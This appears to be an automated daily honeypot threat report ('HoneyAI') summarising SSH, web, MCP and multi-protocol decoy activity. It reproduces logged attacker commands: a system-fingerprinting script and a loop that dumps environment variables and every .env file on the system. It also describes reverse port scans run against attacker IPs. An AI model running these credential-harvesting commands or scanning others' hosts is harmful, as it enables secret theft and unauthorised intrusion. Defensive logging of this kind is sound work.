Daily Threat Report
Top Attacker IPs
Top Passwords Tried
- 62eee0dfb96e0bb0
- 8c6976e5b5410415
- 56925e07167bd335
- 18bd4ebd1a943614
🌐 WEB HONEYPOT — HoneyAI HTTP
AI-generated fake HTTP responses served to 54 scanner requests from 25 unique IPs (local, offline).
Top Paths Probed
- /
- /login
- /SDK/webLanguage
- /goform/set_LimitClient_cfg
- /dispatch.asp
Top User-Agents
- Go-http-client/1.1
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46
- Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
- l9tcpid/v1.1.0
- Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
💥 OPERATION SPINE — Reverse Port Scanning
Active defense back-profiling: HoneyAI executed **12** reverse port-scans against active attacker IPs. Out of these, **12** hosts were found with open services.
Discovered Open Ports on Attackers
# Automatic multi-platform threat intel reporting $ honeypot-report.sh --since 24h → 164 IPs → AbuseIPDB (community confidence scores updated) → 164 IPs → AlienVault OTX (pulse indicators added) → 164 IPs → Blocklist.de (auto-ban list updated) → 164 IPs → DShield/SANS (global threat feed updated)
🍯 HONEYPOT FILES ACCESSED
Bait files attackers tried to read after SSH login. All data is fake — but their intent is very real.
{ echo $_dq======================================================================$_dq; echo $_dq==> PRINTENV <==$_dq; echo $_dq======================================================================$_dq; printenv; printf '\n%*s\n' 100 '' | tr ' ' '-'; find / -type f -iname $_dq.env$_dq 2>/dev/null | sort | while read -r f; do echo $_dq======================================================================$_dq; echo $_dq==> $f <==$_dq; echo $_dq======================================================================$_dq; cat $_dq$f$_dq; printf '\n%*s\n' 100 '' | tr ' ' '-'; done; } 🎣 AWS credentials include a Canarytoken — if anyone uses these keys, we receive an alert with their real IP.
🤣 ATTACKER COMEDY CORNER
Real attempts. No actors were harmed in the making of this honeypot.
🔑 Hall of Shame — Passwords
8c6976e5b5410415 56925e07167bd335 18bd4ebd1a943614 62eee0dfb96e0bb0 💻 Commands They Tried
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '$_dq' ) || echo $_dq$_dq) arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q $_dqlm$_dq /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 8$_dq /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q $_dqCPU architecture: 7$_dq /proc/cpuinfo && echo armv7l ) || echo $_dq$_dq) uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null) cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c $_dq^processor$_dq /proc/cpuinfo 2>/dev/null) cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E $_dq^model name$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E $_dq^Hardware$_dq /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ) gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ) last_output=$(last 2>/dev/null) filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf $_dq#!/bin/bash\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case $_dq$out$_dq in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf $_dq#!/bin/sh\necho \$_dqxxxxxx\$_dq\n$_dq > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' $_dq$out$_dq | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ) echo $_dqUNAME:$uname$_dq echo $_dqARCH:$arch$_dq echo $_dqUPTIME:$uptime$_dq echo $_dqCPUS:$cpus$_dq echo $_dqCPU_MODEL:$cpu_model$_dq echo $_dqGPU:$gpu_info$_dq echo $_dqLAST:$last_output$_dq echo $_dqFILTER:$filter_output$_dq { echo $_dq======================================================================$_dq; echo $_dq==> PRINTENV <==$_dq; echo $_dq======================================================================$_dq; printenv; printf '\n%*s\n' 100 '' | tr ' ' '-'; find / -type f -iname $_dq.env$_dq 2>/dev/null | sort | while read -r f; do echo $_dq======================================================================$_dq; echo $_dq==> $f <==$_dq; echo $_dq======================================================================$_dq; cat $_dq$f$_dq; printf '\n%*s\n' 100 '' | tr ' ' '-'; done; } nvidia-smi -q | grep $_dqProduct Name$_dq | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' nvidia-smi -q | grep $_dqProduct Name$_dq | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c echo 1 > /dev/null && cat /bin/echo These are real credentials and commands attempted by automated scanners and script kiddies. Logged, reported, and immortalized.
Automated report for 22 de agosto de 2026. Recorded 753 SSH connections and 13795 multi-protocol decoy events on HoneyAI, from 162 unique IPs. 164 IPs were automatically reported to the AbuseIPDB community database.
SSH Activity (HoneyAI)
The SSH service received 418 login attempts from 34 unique IPs. Attackers executed 330 commands after gaining simulated system access.
Multi-Protocol Decoys (HoneyAI)
Detected 13795 events across services including FTP, Telnet, SMTP, MySQL, Redis, Git, VNC, and RDP from 128 distinct IPs. All events are access attempts against simulated production services.
HTTP Web Service (HoneyAI)
The web service received 54 HTTP requests from real scanners across 25 unique IPs. Each attacker received a fake response generated in real time by the local AI engine (Ollama, no internet connection required).
MCP Agent Trap
The MCP decoy server received 3 requests from 1 unique IPs. Attackers attempted to call internal tools including credential extraction and system command execution.
MSSQL / SNMP Honeypots
The MSSQL decoy received 9461 authentication events from 4 IPs. The SNMP trap received 13 queries from 11 IPs probing community strings and OIDs.
Portscan Detection
Detected 0 incoming port scan events from 0 unique IPs.
AI Defense Stats
Blocked 0 prompt injection attempts and 0 identity leak attempts.
Active Defense (Operation Spine)
HoneyAI performed 12 reverse port scans back to active attacker IPs. Out of these, 12 hosts were found running open public services, allowing backfire profiling.
Network IDS (Suricata)
The network intrusion detection system generated 15422 alerts from 694 unique source IPs. Suricata monitors all traffic on the primary network interface using Emerging Threats + AlienVault OTX rulesets.